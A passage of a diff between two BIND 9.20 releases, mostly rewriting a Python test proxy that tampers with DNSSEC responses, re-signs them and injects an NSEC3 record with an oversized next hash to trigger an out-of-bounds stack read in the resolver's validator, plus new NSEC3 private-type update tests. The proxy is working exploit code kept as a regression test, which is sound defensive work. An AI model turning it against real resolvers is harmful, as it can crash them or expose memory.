cryptography.hazmat.backends import default_backend -from cryptography.hazmat.primitives import hashes -from cryptography.hazmat.primitives.asymmetric import ec, utils +from dns.rdtypes.ANY.NSEC3 import NSEC3 +from dns.rdtypes.util import Bitmap -import dns.message +import dns.dnssec import dns.name import dns.rcode import dns.rdata import dns.rdataclass import dns.rdatatype import dns.rrset +import dns.tokenizer +import dns.zone -IP = sys.argv[1] -PORT = int(sys.argv[2]) -TARGET_NEXT_LENGTH = 200 -ZONE_FILE = "../ns6/evil.test.db.signed" - -# NSEC3 params: alg=1(SHA1), flags=1(opt-out), iterations=10, salt=DEADBEEF -NSEC3_ALG = 1 -NSEC3_FLAGS = 1 -NSEC3_ITERATIONS = 10 -NSEC3_SALT = bytes.fromhex("DEADBEEF") -NSEC3_TTL = 86400 - -# RRSIG timing: computed dynamically for portability -NOW = int(time.time()) -RRSIG_LABELS = 3 -RRSIG_ORIG_TTL = 86400 -RRSIG_INCEPTION = NOW - 3600 # 1 hour ago -RRSIG_EXPIRATION = NOW + 30 * 86400 # 30 days from now - - -def discover_nsec3_from_zone(zone_file): - """ - Auto-discover NSEC3 owner names and next hashes from the signed zone. - Returns list of dicts sorted by owner name. - """ - nsec3_records = [] - with open(zone_file, "r", encoding="utf-8") as f: - for line in f: - line = line.strip() - if not line or line.startswith(";"): - continue - parts = line.split() - if parts[3] == "NSEC3": - print(parts) - try: - idx = parts.index("NSEC3") - print(idx) - owner = parts[0] - next_hash_b32 = parts[idx + 5] - flags = int(parts[idx + 2]) - nsec3_records.append( - { - "owner": owner, - "next_hash_b32": next_hash_b32, - "flags": flags, - } - ) - except (IndexError, ValueError): - continue - nsec3_records.sort(key=lambda r: r["owner"]) - return nsec3_records - - -def b32_to_bytes(b32hex_str): - """Decode base32hex (RFC 4648) to bytes.""" - padded = b32hex_str.upper() + "=" * ((8 - len(b32hex_str) % 8) % 8) - return base64.b32hexdecode(padded) - - -def load_zsk(): - """Load the Zone Signing Key (ZSK) for re-signing modified records.""" - keys = glob.glob("../ns6/Kevil.test.+013+*.private") - for kf in keys: - pub = kf.replace(".private", ".key") - with open(pub, "r", encoding="utf-8") as f: - content = f.read() - if "256 3 13" in content: - with open(kf, "r", encoding="utf-8") as pf: - for line in pf: - if line.startswith("PrivateKey:"): - key_bytes = base64.b64decode(line.split(":", 1)[1].strip()) - pk = ec.derive_private_key( - int.from_bytes(key_bytes, "big"), - ec.SECP256R1(), - default_backend(), - ) - tag = int(kf.split("+")[-1].replace(".private", "")) - print(f"[*] Loaded ZSK key tag={tag}", flush=True) - return pk, tag - raise ValueError("No ZSK found") - - -def sign_rrset( - private_key, - key_tag, - rrset, - type_covered, - labels, - original_ttl, - expiration, - inception, - signer_name, -): - """Sign an RRset with ECDSAP256SHA256 and return RRSIG rdata.""" - algorithm = 13 - - sig_rdata = struct.pack("!HBBI", type_covered, algorithm, labels, original_ttl) - sig_rdata += struct.pack("!II", expiration, inception) - sig_rdata += struct.pack("!H", key_tag) - sig_rdata += signer_name.canonicalize().to_wire() - - rr_wires = [] - for rdata in rrset: - rdata_wire = rdata.to_digestable() - rr_wire = rrset.name.canonicalize().to_wire() - rr_wire += struct.pack("!HHI", rrset.rdtype, rrset.rdclass, original_ttl) - rr_wire += struct.pack("!H", len(rdata_wire)) - rr_wire += rdata_wire - rr_wires.append(rr_wire) - - rr_wires.sort() - sign_data = sig_rdata + b"".join(rr_wires) - - der_sig = private_key.sign(sign_data, ec.ECDSA(hashes.SHA256())) - r, s = utils.decode_dss_signature(der_sig) - raw_sig = r.to_bytes(32, "big") + s.to_bytes(32, "big") - - full_rrsig_wire = sig_rdata + raw_sig - rrsig_rdata = dns.rdata.from_wire( - dns.rdataclass.IN, - dns.rdatatype.RRSIG, - full_rrsig_wire, - 0, - len(full_rrsig_wire), - None, - ) - return rrsig_rdata - - -def sign_rrset_from_template(private_key, key_tag, rrset, template_rrsig): - """Sign using existing RRSIG as template for type_covered.""" - return sign_rrset( - private_key, - key_tag, - rrset, - template_rrsig.type_covered, - RRSIG_LABELS, - RRSIG_ORIG_TTL, - RRSIG_EXPIRATION, - RRSIG_INCEPTION, - template_rrsig.signer, - ) +from isctest.asyncserver import AsyncDnsServer, QueryContext, ResponseAction +from isctest.asyncserver.actions import DnsResponseSend +from isctest.asyncserver.handlers import ForwarderHandler, ResponseHandlerWrapper +from isctest.asyncserver.matchers import Always, Qtype +from isctest.zone import FileZoneKey + +# The malicious proxy relays every query to the real signed authoritative +# server for evil.test and tampers with the NSEC3 proofs on the way back to +# trigger CWE-125 (out-of-bounds stack read) in validator.c:344: +# +# 1. The A response for xxx.evil.test has its NSEC3 mutated so the proof +# breaks, forcing the resolver into proveunsecure() and a DS fetch. +# 2. The DS response has a crafted NSEC3 (next-hash length 200, exceeding +# the 155-byte buffer) injected at position 0, with NXDOMAIN rewritten +# to NOERROR so DS validation succeeds via the surviving, unmodified +# NSEC3 (opt-out coverage). +# 3. The ncache stores the crafted NSEC3 (200-byte next hash) ahead of the +# original, so isdelegation() hits it first and memcmp() reads past the +# buffer. -def build_crafted_nsec3(private_key, key_tag, owner_name, original_next_hash, bitmaps): +class Attack: """ - Build a crafted NSEC3 with next_length=200 (exceeds 155-byte buffer). - Returns (nsec3_rrset, rrsig_rrset). + The signing material and NSEC3 targets shared by the proxy handlers, plus + the operations that tamper with the relayed responses. Reads the signed + zone and loads the ZSK at construction; the first NSEC3 alphabetically is + the inject target, the second is the modify target. """ - name = dns.name.from_text(owner_name) - signer = dns.name.from_text("evil.test.") - crafted_next = original_next_hash + os.urandom( - TARGET_NEXT_LENGTH - len(original_next_hash) - ) + ZONE = "evil.test." + NSEC3_TTL = 86400 - nsec3_wire = struct.pack("!BBH", NSEC3_ALG, NSEC3_FLAGS, NSEC3_ITERATIONS) - nsec3_wire += struct.pack("!B", len(NSEC3_SALT)) + NSEC3_SALT - nsec3_wire += struct.pack("!B", TARGET_NEXT_LENGTH) + crafted_next - nsec3_wire += bitmaps + # Crafted NSEC3 next-hash length; exceeds the validator's 155-byte buffer. + CRAFTED_NEXT_LENGTH = 200 + # Crafted NSEC3 type bitmap. + CRAFTED_WINDOWS = Bitmap.from_text(dns.tokenizer.Tokenizer("A RRSIG")).windows + + # RRSIG validity window, computed at startup for portability. + _NOW = int(time.time()) + RRSIG_INCEPTION = _NOW - 3600 + RRSIG_EXPIRATION = _NOW + 30 * 86400 + + def __init__(self) -> None: + self._discover_nsec3_targets() + self._load_zsk() + + def _discover_nsec3_targets( + self, zone_file: str = "../ns6/evil.test.db.signed" + ) -> None: + """ + Set the (name, NSEC3) inject and modify targets from the signed zone. + """ + zone = dns.zone.from_file(zone_file, origin=self.ZONE, relativize=False) + records = sorted( + (name, cast(NSEC3, rdata)) + for name, _, rdata in zone.iterate_rdatas(dns.rdatatype.NSEC3) + ) + assert len(records) >= 2, f"need >= 2 NSEC3 records, found {len(records)}" + inject, modify, *_ = records + self._inject_name, self._inject_nsec3 = inject + self._modify_name, _ = modify + + def _load_zsk(self, key_dir: str = "../ns6") -> None: + """ + Load the zone's ZSK (not the KSK) as a FileZoneKey. + """ + zsks = [ + key + for keyfile in sorted(glob.glob(f"{key_dir}/K{self.ZONE}+*.key")) + if not (key := FileZoneKey(Path(keyfile).stem, keydir=key_dir)).is_ksk() + ] + assert zsks, f"no ZSK found in {key_dir}" + self._zsk, *_ = zsks + + def sign( + self, + rrset: dns.rrset.RRset, + signer_name: dns.name.Name = dns.name.from_text("evil.test."), + ) -> dns.rdata.Rdata: + """ + Sign an RRset with the zone's ZSK and return the RRSIG rdata. + """ + return dns.dnssec.sign( + rrset, + self._zsk.private_key, + signer_name, + self._zsk.dnskey[0], + inception=self.RRSIG_INCEPTION, + expiration=self.RRSIG_EXPIRATION, + verify=True, + ) - nsec3_rdata = dns.rdata.from_wire( - dns.rdataclass.IN, dns.rdatatype.NSEC3, nsec3_wire, 0, len(nsec3_wire), None - ) + def overrun_nsec3_next( + self, + nsec3: NSEC3, + windows: Iterable[tuple[int, bytes]] | None = None, + ) -> NSEC3: + """ + A copy of an NSEC3 with a CRAFTED_NEXT_LENGTH-byte next hash. + """ + padded_next = nsec3.next + os.urandom( + self.CRAFTED_NEXT_LENGTH - len(nsec3.next) + ) + return NSEC3( + nsec3.rdclass, + nsec3.rdtype, + nsec3.algorithm, + nsec3.flags, + nsec3.iterations, + nsec3.salt, + padded_next, + tuple(nsec3.windows if windows is None else windows), + ) - nsec3_rrset = dns.rrset.RRset(name, dns.rdataclass.IN, dns.rdatatype.NSEC3) - nsec3_rrset.update_ttl(NSEC3_TTL) - nsec3_rrset.add(nsec3_rdata) - - rrsig_rdata = sign_rrset( - private_key, - key_tag, - nsec3_rrset, - type_covered=dns.rdatatype.NSEC3, - labels=RRSIG_LABELS, - original_ttl=RRSIG_ORIG_TTL, - expiration=RRSIG_EXPIRATION, - inception=RRSIG_INCEPTION, - signer_name=signer, - ) + @functools.cached_property + def crafted_nsec3(self) -> dns.rrset.RRset: + """ + An NSEC3 whose next-hash overruns the validator's buffer. + """ + crafted = self.overrun_nsec3_next(self._inject_nsec3, self.CRAFTED_WINDOWS) + return dns.rrset.from_rdata(self._inject_name, self.NSEC3_TTL, crafted) + + @functools.cached_property + def crafted_rrsig(self) -> dns.rrset.RRset: + """ + The signature for the crafted NSEC3. Signing happens on the first + query rather than at startup, so that the server also starts on + platforms whose cryptography cannot sign deterministically. + """ + return dns.rrset.from_rdata( + self._inject_name, self.NSEC3_TTL, self.sign(self.crafted_nsec3) + ) - rrsig_rrset = dns.rrset.RRset(name, dns.rdataclass.IN, dns.rdatatype.RRSIG) - rrsig_rrset.update_ttl(NSEC3_TTL) - rrsig_rrset.add(rrsig_rdata) - - print( - f"[*] Built crafted NSEC3: owner={owner_name}, " - f"next_hash={TARGET_NEXT_LENGTH}B, signed tag={key_tag}", - flush=True, - ) - return nsec3_rrset, rrsig_rrset + def covers_inject(self, name: dns.name.Name) -> bool: + return name == self._inject_name + def covers_modify(self, name: dns.name.Name) -> bool: + return name == self._modify_name -def modify_nsec3_next(rdata): - """Modify an NSEC3 record's next_hash to TARGET_NEXT_LENGTH bytes.""" - orig_wire = rdata.to_digestable() - pos = 0 - hash_alg = orig_wire[pos] - pos += 1 - flags = orig_wire[pos] - pos += 1 - iterations = struct.unpack("!H", orig_wire[pos : pos + 2])[0] - pos += 2 - salt_len = orig_wire[pos] - pos += 1 - salt = orig_wire[pos : pos + salt_len] - pos += salt_len - hash_len = orig_wire[pos] - pos += 1 - next_hash = orig_wire[pos : pos + hash_len] - pos += hash_len - type_bitmaps = orig_wire[pos:] - - crafted_next = next_hash + os.urandom(TARGET_NEXT_LENGTH - len(next_hash)) - new_wire = struct.pack("!BBH", hash_alg, flags, iterations) - new_wire += struct.pack("!B", salt_len) + salt - new_wire += struct.pack("!B", TARGET_NEXT_LENGTH) + crafted_next - new_wire += type_bitmaps - return dns.rdata.from_wire( - dns.rdataclass.IN, dns.rdatatype.NSEC3, new_wire, 0, len(new_wire), None - ) +ATTACK = Attack() -def name_label(name): - """Get the first label (NSEC3 hash) from a DNS name.""" - return str(name).split(".", maxsplit=1)[0].upper() +class RelayForwarder(ForwarderHandler): + """ + Relay the given query types -- or every query, if none are given -- to the + real authoritative server for evil.test. + """ + target = "10.53.0.6" -def is_target(dns_name, target_prefix): - """Check if a DNS name's first label starts with target prefix.""" - return ( - str(dns_name) - .split(".", maxsplit=1)[0] - .upper() - .startswith(target_prefix.upper()) - ) + def __init__(self, *qtypes: dns.rdatatype.RdataType) -> None: + super().__init__() + self.matcher = Qtype(*qtypes) if qtypes else Always() -def patch_a_response(response_data, private_key, key_tag, modify_name): +class DsInjector(ResponseHandlerWrapper): """ - Patch A response: modify the NSEC3 matching modify_name to break - the NSEC3 proof, forcing the resolver into proveunsecure(). + Inject the crafted NSEC3 at position 0 of the DS response's authority. """ - try: - msg = dns.message.from_wire(response_data) - except Exception as e: # pylint: disable=broad-except - print(f"[!] Parse error: {e}", flush=True) - return response_data - - new_authority = [] - for rrset in msg.authority: - if rrset.rdtype == dns.rdatatype.NSEC3 and is_target(rrset.name, modify_name): - new_rrset = dns.rrset.RRset(rrset.name, rrset.rdclass, rrset.rdtype) - new_rrset.update_ttl(rrset.ttl) - for rdata in rrset: - new_rrset.add(modify_nsec3_next(rdata)) - new_authority.append(new_rrset) - print( - f"[!] PATCHED {name_label(rrset.name)}: " - f"next_hash -> {TARGET_NEXT_LENGTH}B", - flush=True, - ) - - elif rrset.rdtype == dns.rdatatype.RRSIG: - covers_nsec3 = any(rd.type_covered == dns.rdatatype.NSEC3 for rd in rrset) - if covers_nsec3 and is_target(rrset.name, modify_name): - target_rrset = [ - rs - for rs in new_authority - if rs.rdtype == dns.rdatatype.NSEC3 - and is_target(rs.name, modify_name) - ] - if target_rrset: - template = next(iter(rrset)) - try: - new_rrsig = sign_rrset_from_template( - private_key, key_tag, target_rrset[0], template - ) - rrsig_rrset = dns.rrset.RRset( - rrset.name, dns.rdataclass.IN, dns.rdatatype.RRSIG - ) - rrsig_rrset.update_ttl(rrset.ttl) - rrsig_rrset.add(new_rrsig) - new_authority.append(rrsig_rrset) - print(f"[!] Re-signed " f"{name_label(rrset.name)}", flush=True) - except Exception as e: # pylint: disable=broad-except - print(f"[!] Sign error: {e}", flush=True) - new_authority.append(rrset) - else: - new_authority.append(rrset) - else: - new_authority.append(rrset) - else: - new_authority.append(rrset) - - msg.authority = new_authority - try: - wire = msg.to_wire() - print(f"[!] A response: {len(wire)} bytes", flush=True) - return wire - except Exception as e: # pylint: disable=broad-except - print(f"[!] Wire error: {e}", flush=True) - return response_data + + def _modify_response( + self, qctx: QueryContext, response_action: ResponseAction + ) -> None: + assert isinstance( + response_action, DnsResponseSend + ), "DsInjector can only wrap handlers that yield DnsResponseSend" + response = response_action.response + assert response.rcode() == dns.rcode.NXDOMAIN, "expected an opt-out denial" + response.set_rcode(dns.rcode.NOERROR) + + authority = [ATTACK.crafted_nsec3, ATTACK.crafted_rrsig] + for rrset in response.authority: + if ATTACK.covers_inject(rrset.name): + continue + authority.append(rrset) + response.authority = authority -def patch_ds_response(response_data, crafted_nsec3, crafted_rrsig, inject_name): +class ProofBreaker(ResponseHandlerWrapper): """ - Patch DS response: - - Change RCODE NXDOMAIN -> NOERROR - - Inject crafted NSEC3 (200B next) at position 0 in authority + Overrun the modify-target NSEC3 in the A response and re-sign it. """ - try: - msg = dns.message.from_wire(response_data) - except Exception as e: # pylint: disable=broad-except - print(f"[!] Parse error: {e}", flush=True) - return response_data - - if msg.rcode() == dns.rcode.NXDOMAIN: - msg.set_rcode(dns.rcode.NOERROR) - print("[!] RCODE: NXDOMAIN -> NOERROR", flush=True) - - new_authority = [crafted_nsec3, crafted_rrsig] - print( - "[!] INJECTED crafted " - f"{name_label(crafted_nsec3.name)} " - f"(next={TARGET_NEXT_LENGTH}B) at position 0", - flush=True, - ) - for rrset in msg.authority: - if is_target(rrset.name, inject_name): - print(f"[D] Skipped original " f"{name_label(rrset.name)}", flush=True) - continue - new_authority.append(rrset) - - msg.authority = new_authority - try: - wire = msg.to_wire() - print(f"[!] DS response: {len(wire)} bytes", flush=True) - return wire - except Exception as e: # pylint: disable=broad-except - print(f"[!] Wire error: {e}", flush=True) - return response_data - - -def sigterm(*_): - print("SIGTERM received, shutting down") - os.remove("ans.pid") - sys.exit(0) - - -def main(): - signal.signal(signal.SIGTERM, sigterm) - signal.signal(signal.SIGINT, sigterm) - with open("ans.pid", "w", encoding="utf-8") as pidfile: - print(os.getpid(), file=pidfile) - - # Auto-discover NSEC3 info from signed zone - print(f"[*] Reading zone file: {ZONE_FILE}", flush=True) - nsec3_records = discover_nsec3_from_zone(ZONE_FILE) - - if len(nsec3_records) < 2: - print( - f"[!] ERROR: Need >= 2 NSEC3 records, " f"found {len(nsec3_records)}", - flush=True, - ) - sys.exit(1) + def _modify_response( + self, qctx: QueryContext, response_action: ResponseAction + ) -> None: + assert isinstance( + response_action, DnsResponseSend + ), "ProofBreaker can only wrap handlers that yield DnsResponseSend" + response = response_action.response + authority: list[dns.rrset.RRset] = [] + mutated: dns.rrset.RRset | None = None + for rrset in response.authority: + if rrset.rdtype == dns.rdatatype.NSEC3 and ATTACK.covers_modify(rrset.name): + mutated = dns.rrset.RRset(rrset.name, rrset.rdclass, rrset.rdtype) + mutated.update_ttl(rrset.ttl) + for rdata in rrset: + mutated.add(ATTACK.overrun_nsec3_next(rdata)) + authority.append(mutated) + elif rrset.rdtype == dns.rdatatype.RRSIG: + authority.append(self._resign_covering_nsec3(rrset, mutated)) + else: + authority.append(rrset) + response.authority = authority - # First alphabetically = inject target, second = modify target - inject_rec = nsec3_records[0] - modify_rec = nsec3_records[1] + def _resign_covering_nsec3( + self, rrsig_rrset: dns.rrset.RRset, mutated: dns.rrset.RRset | None + ) -> dns.rrset.RRset: + if mutated is None: + return rrsig_rrset - inject_name = inject_rec["owner"].split(".")[0] - modify_name = modify_rec["owner"].split(".")[0] - inject_owner_full = inject_rec["owner"] - inject_next_hash = b32_to_bytes(inject_rec["next_hash_b32"]) + covers_nsec3 = any( + rdata.type_covered == dns.rdatatype.NSEC3 for rdata in rrsig_rrset + ) + if not (covers_nsec3 and ATTACK.covers_modify(rrsig_rrset.name)): + return rrsig_rrset - inject_bitmaps = bytes.fromhex("0006400000000002") # A RRSIG + template = next(iter(rrsig_rrset)) + rrsig_rdata = ATTACK.sign(mutated, template.signer) - print(f"[*] NSEC3 to INJECT (crafted): {inject_name}", flush=True) - print(f"[*] NSEC3 to MODIFY (break proof): {modify_name}", flush=True) + resigned = dns.rrset.RRset( + rrsig_rrset.name, dns.rdataclass.IN, dns.rdatatype.RRSIG + ) + resigned.update_ttl(rrsig_rrset.ttl) + resigned.add(rrsig_rdata) + return resigned - # Load ZSK for re-signing - private_key, key_tag = load_zsk() - # Build crafted NSEC3 with next_length=200 - crafted_nsec3, crafted_rrsig = build_crafted_nsec3( - private_key, key_tag, inject_owner_full, inject_next_hash, inject_bitmaps +def main() -> None: + server = AsyncDnsServer(default_aa=False, default_rcode=dns.rcode.NOERROR) + server.install_response_handlers( + DsInjector(RelayForwarder(dns.rdatatype.DS)), + ProofBreaker(RelayForwarder(dns.rdatatype.A, dns.rdatatype.AAAA)), + RelayForwarder(), ) - - # Start UDP proxy - sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) - sock.bind((IP, PORT)) - print(f"[*] Proxy on {IP}:{PORT} -> {IP}:{PORT}", flush=True) - - while True: - data, addr = sock.recvfrom(4096) - try: - query = dns.message.from_wire(data) - qname = query.question[0].name - qtype = query.question[0].rdtype - qtype_text = dns.rdatatype.to_text(qtype) - print(f"\n[<] Query from {addr}: {qname} {qtype_text}", flush=True) - except Exception as e: # pylint: disable=broad-except - print(f"[<] Query parse error: {e}", flush=True) - qtype = None - - fwd = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - fwd.settimeout(3) - fwd.sendto(data, ("10.53.0.6", PORT)) - try: - response, _ = fwd.recvfrom(65535) - if qtype == dns.rdatatype.DS: - print("[>] DS - inject crafted + RCODE change", flush=True) - modified = patch_ds_response( - response, crafted_nsec3, crafted_rrsig, inject_name - ) - sock.sendto(modified, addr) - elif qtype in (dns.rdatatype.A, dns.rdatatype.AAAA): - print(f"[>] A - modify {modify_name}", flush=True) - modified = patch_a_response(response, private_key, key_tag, modify_name) - sock.sendto(modified, addr) - else: - print(f"[>] {qtype_text} - forwarding", flush=True) - sock.sendto(response, addr) - except Exception as e: # pylint: disable=broad-except - print(f"[!] Error: {e}", flush=True) - finally: - fwd.close() + server.run() if __name__ == "__main__": diff -Nru bind9-9.20.29/bin/tests/system/nsec3/common.py bind9-9.20.30/bin/tests/system/nsec3/common.py --- bind9-9.20.29/bin/tests/system/nsec3/common.py 2026-09-11 19:41:01.262325274 +0000 +++ bind9-9.20.30/bin/tests/system/nsec3/common.py 2026-10-12 13:12:08.196895400 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -37,7 +37,6 @@ "ns*/*.signed", "ns*/keygen.out.*", "ns3/named-*.conf", - "ans*/ans.run", ] ) @@ -55,6 +54,7 @@ "nsec3-dynamic-update-inline.kasp": NSEC3Saltlen(initial=None, reconfig=None), "nsec3.kasp": NSEC3Saltlen(initial=0, reconfig=0), "nsec3-dynamic.kasp": NSEC3Saltlen(initial=0, reconfig=0), + "nsec3-private-type-delete.kasp": NSEC3Saltlen(initial=0, reconfig=0), "nsec3-change.kasp": NSEC3Saltlen(initial=0, reconfig=8), "nsec3-dynamic-change.kasp": NSEC3Saltlen(initial=0, reconfig=8), "nsec3-dynamic-to-inline.kasp": NSEC3Saltlen(initial=0, reconfig=0), diff -Nru bind9-9.20.29/bin/tests/system/nsec3/ns3/named-fips.conf.j2 bind9-9.20.30/bin/tests/system/nsec3/ns3/named-fips.conf.j2 --- bind9-9.20.29/bin/tests/system/nsec3/ns3/named-fips.conf.j2 2026-09-11 19:41:01.263325298 +0000 +++ bind9-9.20.30/bin/tests/system/nsec3/ns3/named-fips.conf.j2 2026-10-12 13:12:08.197895421 +0000 @@ -45,6 +45,16 @@ }; {% endif %}{# nsec3-dynamic.kasp #} +{% if "nsec3-private-type-delete.kasp" in zones %} +zone "nsec3-private-type-delete.kasp" { + type primary; + file "nsec3-private-type-delete.kasp.db"; + dnssec-policy "nsec3"; + inline-signing no; + allow-update { any; }; +}; +{% endif %}{# nsec3-private-type-delete.kasp #} + {% if "nsec3-other.kasp" in zones %} /* This zone uses non-default NSEC3 settings. */ zone "nsec3-other.kasp" { diff -Nru bind9-9.20.29/bin/tests/system/nsec3/ns3/setup.sh bind9-9.20.30/bin/tests/system/nsec3/ns3/setup.sh --- bind9-9.20.29/bin/tests/system/nsec3/ns3/setup.sh 2026-09-11 19:41:01.263325298 +0000 +++ bind9-9.20.30/bin/tests/system/nsec3/ns3/setup.sh 2026-10-12 13:12:08.198895443 +0000 @@ -26,7 +26,8 @@ for zn in nsec-to-nsec3 nsec3 nsec3-other nsec3-change nsec3-to-nsec \ nsec3-to-optout nsec3-from-optout nsec3-dynamic \ nsec3-dynamic-change nsec3-dynamic-to-inline \ - nsec3-inline-to-dynamic nsec3-dynamic-update-inline; do + nsec3-inline-to-dynamic nsec3-dynamic-update-inline \ + nsec3-private-type-delete; do setup "${zn}.kasp" done diff -Nru bind9-9.20.29/bin/tests/system/nsec3/tests_nsec3_change.py bind9-9.20.30/bin/tests/system/nsec3/tests_nsec3_change.py --- bind9-9.20.29/bin/tests/system/nsec3/tests_nsec3_change.py 2026-09-11 19:41:01.264325322 +0000 +++ bind9-9.20.30/bin/tests/system/nsec3/tests_nsec3_change.py 2026-10-12 13:12:08.199895464 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/nsec3/tests_nsec3_initial.py bind9-9.20.30/bin/tests/system/nsec3/tests_nsec3_initial.py --- bind9-9.20.29/bin/tests/system/nsec3/tests_nsec3_initial.py 2026-09-11 19:41:01.264325322 +0000 +++ bind9-9.20.30/bin/tests/system/nsec3/tests_nsec3_initial.py 2026-10-12 13:12:08.199895464 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -12,6 +12,7 @@ import os import dns.rcode +import dns.rdatatype import dns.update import pytest @@ -35,6 +36,7 @@ "nsec3-dynamic-update-inline.kasp", "nsec3.kasp", "nsec3-dynamic.kasp", + "nsec3-private-type-delete.kasp", "nsec3-change.kasp", "nsec3-dynamic-change.kasp", "nsec3-dynamic-to-inline.kasp", @@ -70,6 +72,56 @@ wait_for_nsec3param(ns3, zone, NSEC3_SALTLEN[zone].initial) +def test_update_delete_private_type_rrset(ns3): + zone = "nsec3-private-type-delete.kasp" + fqdn = f"{zone}." + + update_msg = dns.update.UpdateMessage(zone) + update_msg.add(fqdn, 0, dns.rdatatype.NSEC3PARAM, "1 0 5 ab") + response = isctest.query.tcp( + update_msg, + ns3.ip, + attempts=1, + expected_rcode=dns.rcode.NOERROR, + ) + isctest.check.noerror(response) + + update_msg = dns.update.UpdateMessage(zone) + update_msg.delete(fqdn, dns.rdatatype.from_text("TYPE65534")) + response = isctest.query.tcp( + update_msg, + ns3.ip, + attempts=1, + expected_rcode=dns.rcode.NOERROR, + ) + isctest.check.noerror(response) + + +def test_update_delete_all_apex_rrsets_with_private_type(ns3): + zone = "nsec3-private-type-delete.kasp" + fqdn = f"{zone}." + + update_msg = dns.update.UpdateMessage(zone) + update_msg.add(fqdn, 0, dns.rdatatype.NSEC3PARAM, "1 0 5 ab") + response = isctest.query.tcp( + update_msg, + ns3.ip, + attempts=1, + expected_rcode=dns.rcode.NOERROR, + ) + isctest.check.noerror(response) + + update_msg = dns.update.UpdateMessage(zone) + update_msg.delete(fqdn) + response = isctest.query.tcp( + update_msg, + ns3.ip, + attempts=1, + expected_rcode=dns.rcode.NOERROR, + ) + isctest.check.noerror(response) + + @pytest.mark.parametrize( "params", [ diff -Nru bind9-9.20.29/bin/tests/system/nsec3/tests_nsec3_length.py bind9-9.20.30/bin/tests/system/nsec3/tests_nsec3_length.py --- bind9-9.20.29/bin/tests/system/nsec3/tests_nsec3_length.py 2026-09-11 19:41:01.264325322 +0000 +++ bind9-9.20.30/bin/tests/system/nsec3/tests_nsec3_length.py 2026-10-12 13:12:08.199895464 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -14,6 +14,9 @@ import dns.message import isctest +import isctest.mark + +pytestmark = isctest.mark.with_ecdsa_deterministic ZONES = { "evil.test", diff -Nru bind9-9.20.29/bin/tests/system/nsec3/tests_nsec3_reconfig.py bind9-9.20.30/bin/tests/system/nsec3/tests_nsec3_reconfig.py --- bind9-9.20.29/bin/tests/system/nsec3/tests_nsec3_reconfig.py 2026-09-11 19:41:01.265325346 +0000 +++ bind9-9.20.30/bin/tests/system/nsec3/tests_nsec3_reconfig.py 2026-10-12 13:12:08.199895464 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/nsec3/tests_nsec3_reload.py bind9-9.20.30/bin/tests/system/nsec3/tests_nsec3_reload.py --- bind9-9.20.29/bin/tests/system/nsec3/tests_nsec3_reload.py 2026-09-11 19:41:01.265325346 +0000 +++ bind9-9.20.30/bin/tests/system/nsec3/tests_nsec3_reload.py 2026-10-12 13:12:08.199895464 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/nsec3/tests_nsec3_restart.py bind9-9.20.30/bin/tests/system/nsec3/tests_nsec3_restart.py --- bind9-9.20.29/bin/tests/system/nsec3/tests_nsec3_restart.py 2026-09-11 19:41:01.265325346 +0000 +++ bind9-9.20.30/bin/tests/system/nsec3/tests_nsec3_restart.py 2026-10-12 13:12:08.199895464 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/nsec3/tests_nsec3_retransfer.py bind9-9.20.30/bin/tests/system/nsec3/tests_nsec3_retransfer.py --- bind9-9.20.29/bin/tests/system/nsec3/tests_nsec3_retransfer.py 2026-09-11 19:41:01.265325346 +0000 +++ bind9-9.20.30/bin/tests/system/nsec3/tests_nsec3_retransfer.py 2026-10-12 13:12:08.199895464 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/nsec3_impersonation/ans1/ans.py 